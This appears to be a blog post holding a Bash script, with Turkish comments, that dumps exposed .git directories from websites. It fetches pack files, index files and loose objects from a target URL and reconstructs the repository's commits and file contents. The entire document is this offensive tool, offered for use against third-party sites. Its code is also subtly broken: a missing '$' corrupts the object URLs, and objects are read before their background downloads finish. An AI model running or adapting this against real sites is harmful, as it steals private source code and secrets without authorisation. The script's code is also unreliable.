#https://test.com/.git/objects/info/packs adresine yanıt veren tüm web siteleri
#için geçerli olabilir pack dosyasını verify ederek tüm commitlere erişmeyi
#ve objects dosylarını çözümleyerek git reposunu okumayı hedefler

#!/bin/bash

url="https://test.com/"

git init
mkdir icerikler

curl "$url.git/objects/info/packs" --output bilgi.txt
cat bilgi.txt | cut -d ' ' -f2 > packlist.txt
echo "" > commits.txt

while read -r line;
do
        curl "$url.git/objects/pack/$line" --output ".git/objects/pack/$line"
        curl "$url.git/objects/pack/$(echo $line | cut -d '.' -f1).idx" --output ".git/objects/pack/$(echo $line | cut -d '.' -f1).idx"
        git verify-pack -v ".git/objects/pack/$line" >> commits.txt
        git verify-pack -v ".git/objects/pack/$line" | cut -d ' ' -f1 >> commitsHash.txt
done < packlist.txt

echo "" > sonuc.txt

while read -r commits;
do
        if (( $(jobs -p | wc -l) > 100 ))
        then
                sleep 5s
        fi
        echo "$commits Dosyası yükleniyor..."
        mkdir .git/objects/${commits:0:2}
        curl "$url.git/objects/${commits:0:2}/{commits:2:40}" --output ".git/objects/${commits:0:2}/${commits:2:40}" >> /dev/null 2>&1 &
        echo "$commits açılıyor."
        git cat-file -p $commits >> icerikler/$commits
done < commitsHash.txt

exit
Categories: Bash language

1,512 Comments

Leave a Reply

Avatar placeholder